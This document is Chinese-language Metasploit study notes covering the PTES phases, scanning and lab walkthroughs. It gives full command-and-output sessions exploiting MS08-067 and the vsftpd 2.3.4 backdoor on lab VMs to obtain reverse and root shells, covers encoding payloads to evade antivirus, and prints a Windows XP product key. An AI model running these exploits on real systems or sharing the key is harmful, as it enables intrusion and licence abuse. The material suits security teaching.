Metasploit Framework
0. 渗透测试基础
0.1 PTES 中渗透测试阶段
前期交互阶段
通常与客户组织讨论,确定渗透测试的范围和目标,走出全范围渗透测试的理想化愿景。情报搜集阶段
采用各种方法搜集将要攻击的客户组织的所有信息,确定在目标系统中实施了哪些安全防护机制。威胁建模阶段
使用情报搜集阶段所获取的信息,标识出目标系统可能存在的安全漏洞和弱点,确定最为有效的攻击方法。漏洞分析阶段
一旦确定最为可行的攻击方法后,考虑如何获取目标系统的访问权,并综合前面几个环节获得的信息,分析哪些攻击途径可行。渗透攻击阶段
最好在基本能确信特定渗透攻击能成功的基础上,才真正展开渗透攻击。进行漫无目的的渗透尝试后期待一个奇迹般的 shell 是痴心妄想。后渗透攻击阶段
从已经攻陷客户组织的一些系统或管理权限之后开始。
以特定的系统为目标,识别出关键的基础设施,并寻找客户组织最具价值和尝试进行安全保护的信息和资产,演示出能够对客户组织造成最重要业务影响的攻击途径。报告阶段
使用报告文档来说明做了工作,如何做的,以及如何修复发展的漏洞与弱点。
至少包含摘要、过程展示和技术发现这几个部分。
0.2 渗透测试类型
白盒测试
拥有所有客户组织系统与网络环境的内部知识,可以在不需要害怕被阻断的情况下实施攻击。
白盒测试最大问题在于无法有效地测试客户组织的应急响应程序,无法判断出他们的安全防护计划检测特定攻击的效率。黑盒测试
经由授权的黑河测试时设计成为模拟攻击者的入侵行为,在不了解客户组织大部分信息和知识的情况下实施的。
黑盒测试可以用来测试内部安全团队检测和应对一次攻击的能力。灰盒测试
白盒测试和黑盒测试的组合。
即便拥有明确的目标和访问凭证,也会对目标进行信息搜集以获取尽可能多的信息,尝试在无访问凭证下获取弱点。
1. Metasploit Framework
- MSF 默认集成于 kali linux 之中
- 使用 postgresql 数据库存储数据
1.1 专业术语
1.1.1 渗透攻击(exploit)
攻击者利用一个系统、应用或者服务中的安全漏洞,所进行的攻击行为。常见渗透攻击技术:缓冲区溢出、Web应用程序漏洞攻击(如 SQL 注入),及利用配置错误。
1.1.2 攻击载荷(payload)
目标系统被渗透攻击之后执行的代码。例如 反弹shell 是一种从目标主机到攻击主机创建网络连接,并提供 Windows 命令行 shell 的攻击载荷,而 bindshell 攻击载荷是在目标主机上将命令行 shell 绑定到一个打开的监听端口上,攻击者可以连接这些端口来取得 shell 交互。
1.1.3 shellcode
shellcode 是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode 通常以汇编语言编写。大多数情况下,目标系统执行了 shellcode 这组指令后,才会提供一个命令行 shell 或 Meterpreter shell。
1.1.4 模块(module)
Metasploit 中一个模块指 Metasploit 框架中所使用的一段软件代码组件。如 Metasploit 中渗透攻击模块(exploit module)、辅助模块(auxiliary module)。
1.1.5 监听器(Listener)
Metasploit 中监听器是用来等待连入网络连接的组件。如目标主机被渗透攻击后回连攻击主机主机上,监听器组件可以在攻击主机上等待这类系统来连接,并处理这些网络连接。
1.2 Metasploit 用户接口
1.2.1 MSF 终端
不区分大小写
MSF 终端(msfconsole)是目前 Metasploit 框架最为流行的用户接口。
- 最流行的用户接口
- 几乎可以使用 MSF 全部功能
- 支持外部命令的执行
- 启动方式
- 点击 msf 图标
- 终端命令:
msfconsole
访问 MSF 终端的帮助文档,只需要敲入 help,并加上感兴趣的 metasploit 命令
- help
- help vulns
- msfconsole -h
1.2.2 MSF 命令行
Metasploit 早期版本中,msfcli 命令行工具和 MSF 终端为 Metasploit 框架访问的两种截然不同的方式。
MSF 终端以一种给用户友好的方式来提供交互,msfcli 主要考虑对脚本处理和与其他命令行工具的互操作性。
msfcli 可以直接从命令行 shell 执行,并允许将其他工具的输出重定向至 msfcli 中,以及将 msfcli 输出重定向至其他命令行工具。
2015 年 1 月开始官方不再支持 msfcli 命令行,建议使用 MSF 终端的 ‘-x’ 选项替代。
比如进行 MS08-067 漏洞的渗透利用,可以采用如下命令
1 | ./msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST [IP]; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST [IP]; run" |
还可以充分利用 MSF 终端提供的资源脚本和命令化名(alias)等特性,编写自动化运行脚本 reverse_tcp.rc:
1 | use exploit/windows/smb/ms08_067_netapi |
然后使用 MSF 终端 ‘-r’ 选项执行:
1 | ./msfconsole -r /scripts_path/reverse_tcp.rc |
1.2.3 Armitage
一个完全交互式的图形化用户接口。
1.3 Metasploit 功能程序
Metasploit 功能程序是在某些特定场合下,对 Metasploit 框架中的一些特殊功能进行直接访问的接口。
1.3.1 MSF 攻击载荷生成器
攻击载荷生成器能允许生成 shellcode、可执行代码和其他类型东西,也可以让他们在框架之外的渗透代码中使用。
shellcode 可以生成包括 C、Javascript 等多种格式,每种输出格式在不同的场景中使用。如编写浏览器渗透代码,以 Javascript 语言方式输出的 shellcode 最合适。
Metasploit 早期版本提供了单独的 msfpayload 功能程序来进行 MSF 攻击载荷生成,在 2015 年后 msfpayload 已被弃用,使用集成攻击载荷生成和编码的 msfvenom 功能程序替代。
1 | root@kali:~\# msfvenom -h |
如果想了解攻击模块的配置选项,采用 payload-options 可以列出所必须和可选的选项列表:
1 | root@kali:~\# msfvenom -p wondows/shell_reverse_tcp --payload-options |
1.3.2 MSF 编码器
通过对原始攻击载荷进行编码的方式,来避免坏字符,以及逃避杀毒软件和 IDS 的检测。
Metasploit 中唯一一个具有 Excellent 等级的编码器:x86/shikata_ga_nai
1 | 查看可以的编码器及等级 |
1.3.3 Nasm shell
Nasm_shell.rb 功能程序是了解汇编代码含义非常有用的工具。
2. MSF 架构
/usr/share/metasploit-framework
- Rex
- 基本功能库,用于完成日常基本任务,无需人工手动编码实现
- 处理 socket 连接访问、协议应答(http/SSL/SMB等)
- 编码转换(XOR、Base64、Unicode)
- Msf::Core
- 提供 Msf 的核心基本API,是框架的核心能力实现库
- Msf::Base
- 提供友好的 API 接口,便于模块调用的库
- Plugin 插件
- 连接和调用外部扩展功能的系统
- Penetration Modules(
/usr/share/metasploit-framework/modules/
)- Exploits:利用系统漏洞进行攻击的动作(方法),此模块对应每一个具体漏洞的攻击方式(攻击流程)
- Payload:成功 exploit 之后,真正在目标系统执行的代码或指令
- singles:所有功能都放在一起的 payload,比较大
- stagers:目标机内存有限,先传输较小的 payload 用于建立连接
- stages:利用 stagers 建立的连接下载的后续 payload
shellcode,获得目标机上执行 shell 的能力(正向/反向)
- auxiliary:执行信息收集、枚举、指纹探测、扫描等功能的辅助模块(没有 payload 的 exploit 模块)(DoS)
- encoders:对 payload 进行加密,躲避 AV 检查的模块
- nops:提高 payload 稳定性及维持大小
- post
3. 情报搜集
情报搜集的目的是获取渗透目标的准确信息。
没必要对搜集的信息设定限制,即使最初看起来毫无价值的数据,可能在后续工作中有用。
详细的记录是决定一次渗透测试成败的关键点。
3.1 被动信息搜集
在不接触到目标系统的情况下挖掘目标信息。
3.1.1 whois 查询
1 | whois testfire.net |
发现域名服务器由 AKAM.NET 提供,这是关于不能攻击未授权系统的典型案例。
使用 DNS 服务器的区域传送攻击以及其他类似的攻击,通常能获得一个网络内部及外部很多信息。
3.1.2 Netcraft
Netcraft(https://sitereport.netcraft.com/)是一个网页界面的工具,使用它能发现承载某个特定网站的服务器IP地址。
查明 testfire.net 的 IP 地址是 65.61.137.117 后,可以再做一次针对这个 IP 的 whois 查询。
$ whois 65.61.137.117
connect: Network is unreachable
whois 使用的 Whois 协议,可能无法代理
3.1.3 nslookup
利用 nslookup 来挖掘更多信息
1 | nslookup |
从中可以看出邮件服务器的 DNS 记录指向 hostmaster.akamai.com,显然是第三方运维。
3.1.4 Google Hacking
依赖搜索引擎被动搜集目标站点信息的技术成为Google Hacking
对于 testfire.net 网站,可以用过 google 搜索引擎提供的搜索关键字 site 来将搜索目标限定在这一网站域名下
testfire.net 网站渗透记录
3.2 主动信息收集
3.2.1 使用 nmap 进行端口扫描
nmap 是最为流行的端口扫描工具,它集成在 Metasploit 中
- 参数介绍
- -sS 执行一次隐蔽的 TCP 扫描,默认此方式
- -sU 隐蔽的 UDP 扫描
- -Pn 不要使用 ping 命令预先判断主机是否存活,默认所有主机是存活状态
- -A 尝试进行服务枚举和旗标获取,去版本 version
- -oN/-oX/-oS/-oG
将normal、XML、s |<rIpt kIddi3和greable格式的扫描输出到给定的文件名。 - -oA 同时输出三种主要格式
3.2.2 在 Metasploit 中使用数据库
Metasploit 支持 MySQL、PostgreSQL、SQLite3 数据库,默认 PostgreSQL。
msfconsole 内输入 db_
再按 tab 能显示 msf 中 db 相关的命令:
db_connect db_export db_nmap db_remove db_status
db_disconnect db_import db_rebuild_cache db_save
启动数据库:
1 | 两种方式都可以 |
1. 将 nmap 输入的结果导入 metasploit
nmap -oX 参数可以将结果输出生 XML 格式文件
1 | nmap =Pn -sS -A -oX Subnet1.xml 192.168.1.0/24 |
XML 文件生成后,使用 msf db_import
命令将文件导入到数据库中,然后使用 msf hosts
命令查看结果, hosts
:显示数据库中所有已保存的主机信息
2. 高级 nmap 扫描技巧:TCP 空闲扫描
这种扫描能冒充另一台主机 IP,对目标进行更隐秘的扫描。
先要定位一台使用递增 IP 帧标识机制的空闲主机
- IP 帧标识(IP ID):用于跟踪 IP 包的次序的一种技术
- 空闲主机:该主机特定时间内不向网络发送数据包
可以使用 Metasploit 的 scanner/ip/ipidseq
模块来寻找满足 TCP 空闲扫描要求的空闲主机:
1 | msf > use auxiliary/scanner/ip/ipidseq |
参数说明
RHOSTS : IP地址段(192.168.1.100-192.168.1.200)、CIDR(无类型毓间选路)地址快(192.168.1.0/24)、使用逗号分隔的多个CIDR地址快,以及每行包含一个 IP 地址的文本
THREADS : 设定扫描线程数。Windows 不要超过16, Unix 不要超过 128
获得空闲 IP 后,可在 nmap 中使用 -sI 参数指定空闲主机
1 | nmap -PN -sI 192.168.1.100 192.168.1.200 |
3. 在 MSF 终端运行 nmap
Metasploit 中 集成的 nmap 使用的是 db_nmap 命令
默认会将扫描结果存储的 MSF 的数据库中
3.2.3 使用 Metasploit 进行端口扫描
跳板攻击:利用网络内部已经被攻陷的主机,将攻击数据路由到原本无法到达的目的地。
查看 Metasploit 框架提供的端口扫描工具:
1 | msf > search postscan |
然后 use 相应的扫描模块进行扫描
3.3 针对性扫描
针对性扫描是指寻找目标网络中存在的已知可利用漏洞或能够轻松获取后门的特定操作系统、服务、软件以及配置缺陷。
扫描整个网络中所有漏洞后再攻击是难的,针对性扫描相对来说更常见。
3.3.1 SMB(服务器消息块) 协议扫描
利用 Metasploit 的 smb_version 模块来遍历一个网络,并获取系统的版本号。
1 | msf6 > use auxiliary/scanner/smb/smb_version |
1 | msf6 > use auxiliary/scanner/smb/ |
3.3.2 搜寻配置不当的 Microsoft SQL Server
实际上很多人不知道他们工作站上装有 MS SQL 服务器软件,因为它经常作为其他常用软件(如 Microsoft Visual Studio)安装的先决条件被自动地安装在系统上。
配置不当的 Microsoft SQL Server 通常是进入目标系统的第一个后门。
MS SQL 安装后,它默认监听在 TCP 端口 1433 上或使用随机的动态 TCP 端口。随机 TCP 端口只需要简单地对 UDP 1434 端口进行查询,便能获得随机的 TCP 端口。
Metasploit 有一个 mssql_ping 可以直接用。 mssql_ping 使用 UDP 协议。Metasploit 发现 MS SQL 服务器时,它会将所有能获取的服务器信息都显示出来,其中最为重要的是服务器监听的 TCP 端口。
1 | msf6 > search mssql_ping |
扫描器不仅能定位 MSSQL 服务器地址,还能确定 MSSQL 实例名、服务器版本以及服务器监听的 TCP 端口。
1 | msf6 > use auxiliary/scanner/mssql/mssql_ |
3.3.3 SSH 服务器扫描
SSH 安全仅指数据传输的加密,很多 SSH 的实现版本中均发现了安全漏洞。
1 | msf6 > use auxiliary/scanner/ssh/ |
3.3.4 FTP 扫描
FTP 是一种复杂且缺乏安全性的应用层协议。
在渗透测试工作中,总是应当对目标系统上运行的 FTP 服务器进行扫描、识别和查点。
1 | msf6 > use auxiliary/scanner/ftp/ |
可以先用auxiliary/scanner/ftp/ftp_version
模块扫描是否存在FTP服务器,再使用auxiliary/scanner/ftp/anonymous
模块检查是否允许匿名用户登录。
3.3.5 简单网管协议(SNMP)扫描
可访问的 SNMP 服务器能够泄露关于某特定系统相当多的信息,甚至会导致设备被远程攻陷。
1 | msf6 > use auxiliary/scanner/snmp/ |
可以使用为 SNMP 专门设计的 scanner/snmp/snmp_enum
模块。
如果能够获取只读(RO)或读/写(RW)权限的团体字符串,将对从设备中提取信息发挥重要作用。
猜解出团体字符串后,SNMP(并非所有版本)可以允许做其管理范围内的任何事情。
3.4 编写自己的扫描器
Metasploit 框架拥有很多建立自定义扫描器所需的实用功能。
4. 漏洞扫描
漏洞扫描器通过网络对目标系统进行探测,向目标系统发送数据,并将反馈数据与自带的漏洞特征库进行匹配,进而列举出目标系统上存在的安全漏洞。
各种操作系统网络模块实现原理不同,因此对接收到的探测数据往往会有不同响应。通过响应可以确定操作系统版本,甚至确定补丁安装等级。
漏洞扫描器可以使用登录凭证登录到远程系统上。
漏洞扫描器能够根据扫描结果生成报告,对系统上经检测发现的安全漏洞进行描述。
漏洞扫描器会产生大量流量,因此通常不能隐秘进行。
漏洞扫描器通常结果包含许多误报,开发者通常宁可误报也不漏报。
扫描质量很大程度上取决于漏洞特征库。
4.1 基本的漏洞扫描
许多网络服务,比如 web、文件传输以及邮件等,一旦连接到服务有端口或发送特定指令,就可以获取旗标。
书中示例:
1 | root@kali:~# nc 192.168.1.201 80 |
返回信息表明端口80上运行的是 Microsoft-IIS/5.1 Web 服务器,可以查看漏洞扫描器上是否有对应漏洞。
4.2 Nexpose
Nexpose 是专门的漏洞扫描器产品。
Nexpose 有免费社区版和收费商业版。
4.2.1 在 MSF 控制台中运行 Nexpose
也可以单独安装 Nexpose,然后将结果导入到 Metasploit 中
使用 load Nexpose
命令在 msfconsole 中载入 Nexpose 插件
1 | msf6 > load nexpose |
连接到所安装的 Nexpose 实例
1 | msf6 > nexpose_connect -h |
5. 渗透攻击之旅
5.1 渗透攻击基础
- show exploits:显示 Metasploit 框架中所有可用的渗透攻击模块。
- show auxiliary:显示所有的辅助模块以及它们的用途(如扫描器、拒绝服务攻击工具、Fuzz测试器等等)。
- show options:列出当前模块所需的各个参数,如果没有选择任何模块,则显示全局参数。
- back:返回 Metasplot 上一个状态
- set/uset:当前模块参数
- setg/unsetg:全局参数
- show payloads:显示与当前模块兼容的攻击载荷。一般会根据环境识别出可在一次特定的渗透攻击中使用的攻击载荷。
- show targets:列出受到漏洞影响目标系统的类型。
- 自动选择目标(Auto Targeting)通常会根据目标系统的指纹信息自动选择操作系统版本进行攻击。
- 最好通过人工更加准确地识别出目标操作系统的相关信息,避免出发错误的、破坏性的攻击。
- info:更加详细的显示模块信息。(info + 模块名,已选择某个模块可直接输入 into)
- save:保存状态。既可以保存全局状态也可以保存某个模块状态。
5.2 第一次渗透攻击
靶机:Windows xp Home Edition Service Pack 3
利用安全漏洞:MS08-067
先不依赖漏洞扫描器使用手工方法来发现漏洞
1 | msf6 > nmap -sT -A --script=smb-vuln-ms08-067 -P0 10.0.0.28 |
- -sT:隐秘的 TCP 连接扫描(Stealth TCP connect)
- -sS:隐秘的 TCP Syn 扫描
- -A:高级操作系统探测功能(advanced OS detection),对一个特定服务进行深入的旗标和指纹获取
攻击是否成功取决于目标主机的操作系统版本、安装的服务包(service pack)版本以及语言类型,同时还依赖于是否成功绕过了数据执行保护(DEP:Data Execution Prevention)。
DEP 是为了防御缓冲区溢出攻击而设计的,它将程序堆栈渲染为只读,以防止 shellcode 被恶意放置在堆栈区并执行。
下面开始实际的攻击过程:
在 Metasploit 框架中查找 MS08-067 攻击模块
1
2
3
4
5
6
7
8
9
10
11msf6 > search ms08_067
Matching Modules
================
Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi使用 use 命令加载攻击模块
1
2msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp这攻击模块默认的攻击载荷为基于 Windows 系统的 Meterpreter reverse_tcp,这个载荷在攻击成功后,会从目标主机发起一个反弹连接,连接到 LHOST 中指定的 IP 地址。这种反弹连接可以绕过防火墙的入站流量保护或者穿透 NAT 网关。
设置目标操作系统类型
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17msf6 exploit(windows/smb/ms08_067_netapi) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows 2003 SP0 Universal
4 Windows XP SP2 English (AlwaysOn NX)
5 Windows XP SP2 English (NX)
6 Windows XP SP3 English (AlwaysOn NX)
...
msf6 exploit(windows/smb/ms08_067_netapi) > set TARGET 6
TARGET => 6AlwaysOn NX:NX(No Execute),意思是不允许执行,即启动了 DEP 保护。Windows XP SP3 中 DEP 是默认启用的。
设置参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28msf6 exploit(windows/smb/ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.0.0.29 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
6 Windows XP SP3 English (AlwaysOn NX)
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 10.0.0.28
RHOST => 10.0.0.28执行攻击
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34msf6 exploit(windows/smb/ms08_067_netapi) > exploit
[*] Started reverse TCP handler on 10.0.0.29:4444
[*] 10.0.0.28:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175174 bytes) to 10.0.0.28
[*] Meterpreter session 1 opened (10.0.0.29:4444 -> 10.0.0.28:1050) at 2021-07-03 02:51:09 -0400
meterpreter > shell
Process 960 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>cd ..
cd ..
C:\WINDOWS>cd ..
cd ..
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is A851-3FA8
Directory of C:\
06/26/2021 08:50 AM 0 AUTOEXEC.BAT
06/26/2021 08:50 AM 0 CONFIG.SYS
06/25/2021 05:54 PM <DIR> Documents and Settings
06/25/2021 05:56 PM <DIR> Program Files
07/02/2021 04:26 AM 0 testtttt.txt
06/25/2021 05:57 PM <DIR> WINDOWS
3 File(s) 0 bytes
3 Dir(s) 7,927,054,336 bytes free这次攻击返回了一个 recerse_tcp 方式的 Meterpreter 攻击载荷会话,此时可以用
session -l
命令查看远程运行的 Meterpreter 情况。session -l -v
查看详细信息。
5.3 攻击 Metasploitable 主机
nmap 扫描
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113msf6 > nmap -sT -A -P0 10.0.0.31
[*] exec: nmap -sT -A -P0 10.0.0.31
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-03 03:23 EDT
Nmap scan report for 10.0.0.31
Host is up (0.00079s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.0.0.29
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
|_ssl-date: 2021-07-03T07:24:10+00:00; 0s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
|_ SSL2_DES_64_CBC_WITH_MD5
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 39985/udp mountd
| 100005 1,2,3 51340/tcp mountd
| 100021 1,3,4 43006/tcp nlockmgr
| 100021 1,3,4 45003/udp nlockmgr
| 100024 1 58167/tcp status
|_ 100024 1 59031/udp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open shell?
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
| mysql-info:
| Protocol: 10
| Version: 5.0.51a-3ubuntu5
| Thread ID: 9
| Capabilities flags: 43564
| Some Capabilities: SupportsCompression, LongColumnFlag, SwitchToSSLAfterHandshake, SupportsTransactions, Speaks41ProtocolNew, ConnectWithDatabase, Support41Auth
| Status: Autocommit
|_ Salt: BI'&(6wuf"r:i"hgO4W7
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2021-07-03T07:24:10+00:00; 0s from scanner time.
5900/tcp open vnc VNC (protocol 3.3)
| vnc-info:
| Protocol version: 3.3
| Security types:
|_ VNC Authentication (2)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h00m00s, deviation: 2h00m00s, median: 0s
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: metasploitable
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: metasploitable.localdomain
|_ System time: 2021-07-03T03:24:02-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.39 seconds- OS: Unix (Samba 3.0.20-Debian)
- ftp:vsftpd 2.3.4
搜索可用的攻击模块
1
2
3
4
5
6
7
8
9msf6 > search vsftpd
Matching Modules
================
Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution使用攻击模块展开攻击
1
2
3
4
5
6
7
8
9
10
11
12
13msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/interact normal No Unix Command, Interact with Established Connection
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD payload/cmd/unix/interact
PAYLOAD => cmd/unix/interact1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 10.0.0.31
RHOST => 10.0.0.311
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 10.0.0.31:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.0.0.31:21 - USER: 331 Please specify the password.
[+] 10.0.0.31:21 - Backdoor service has been spawned, handling...
[+] 10.0.0.31:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 10.0.0.31:6200) at 2021-07-03 03:32:54 -0400
cd ..
cd ..
dir
bin dev initrd lost+found nohup.out root sys var
boot etc initrd.img media opt sbin tmp vmlinuz
cdrom home lib mnt proc srv usr
ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:a0:2d:c5
inet addr:10.0.0.31 Bcast:10.0.0.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fea0:2dc5/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:3387 errors:0 dropped:0 overruns:0 frame:0
TX packets:2394 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:309735 (302.4 KB) TX bytes:482095 (470.7 KB)
Base address:0xd020 Memory:f1200000-f1220000VSFTPD v2.3.4 Backdoor Command Execution
这类的攻击称为命令执行漏洞,攻击代码的可靠性通常接近100%。
例子中使用绑定(blind)的交互式 shell,Metasploit 为我们创建了一个直接到目标系统的连接。
如果攻击防火墙或 NAT 网关后的主机,应当使用反弹式连接攻击载荷。
5.4 全端口攻击载荷:暴力猜解目标开放的端口
如果攻击的组织内部设置了非常严格的出站端口过滤,很多攻击在防火墙上仅仅开放个别特定的端口,将其他端口一律关闭。
Metasploit 提供了一个专用的攻击载荷帮助我们找到这些放行的端口
1 | msf6 exploit(windows/smb/ms08_067_netapi) > search ports |
5.5 资源文件
资源文件(resource files)是 MSF 终端内包含一系列自动化命令的脚本文件。
文件内容是一个可以在 MSF 终端中执行的命令列表,按列表顺序执行。
实现许多重复性任务的自动化。
使用方式:
- 在 MSF 终端中使用 resource 命令载入资源文件
- msfconsole 启动命令是加入 -r 参数
示例:
1 | ┌──(kali㉿kali)-[~/scripts] |
6. Meterpreter
Meterpreter 是 Metasploit 框架中的一个杀手锏,通常被作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后能够返回给我们一个控制通道。
Meterpreter 是 Metasploit 框架的一个扩展模块,可以调用 Metasploit 的一些功能,对目标系统进行更为深入的渗透。
6.1 攻陷 Windows XP 虚机
6.1.1 使用 nmap 扫描端口
1 |
序列号:CM3HY-26VYW-6JRYC-X66GX-JVY2D,仅可用于windowsXP sp3 vol专业版中英文原版ISO (msdn.itellyou.com)。用这个密钥即可安装和自动激活。
4. 控制台命令
help / ? 可以列出 msf 所有的命令
3.1 常见命令
- banner:显示 banner 信息
- color:启动输出信息的颜色变化
- connect:网络工具,与 nc 类似。-h 查看使用详细信息
- show:查看当前 msf 提供的功能,show all/modules/exploit/payload…
- search:查找,通常 show 直接展示时内容会特别多,可以使用 search,使用对应漏洞的关键字查找
- use:使用漏洞利用模块
- info:进入模块后,利用 info 可以查看这个模块的信息
- show options/payloads/targets/advanced/evasion(逃避)/missing(必须设置的参数)
- check:检查漏洞是否存在。(很多模块没有 check 功能)
- back:回到 msfconsole 根目录
3.2 数据库相关命令
具体使用可通过 -h 参数查看
- vulns :漏洞库
- hosts :主机信息库
- services :port、协议信息库
- creds :密码信息库(如:mysql_login)
- loot:hash值库
db_connect
db_connetct -h
查看具体使用方法db_export
db_nmap
MSF 集成 nmap 的工具,结果会直接存储到 msf 数据库中。使用方式与 nmap 一样。- hosts # 查看当前数据库存储的主机信息
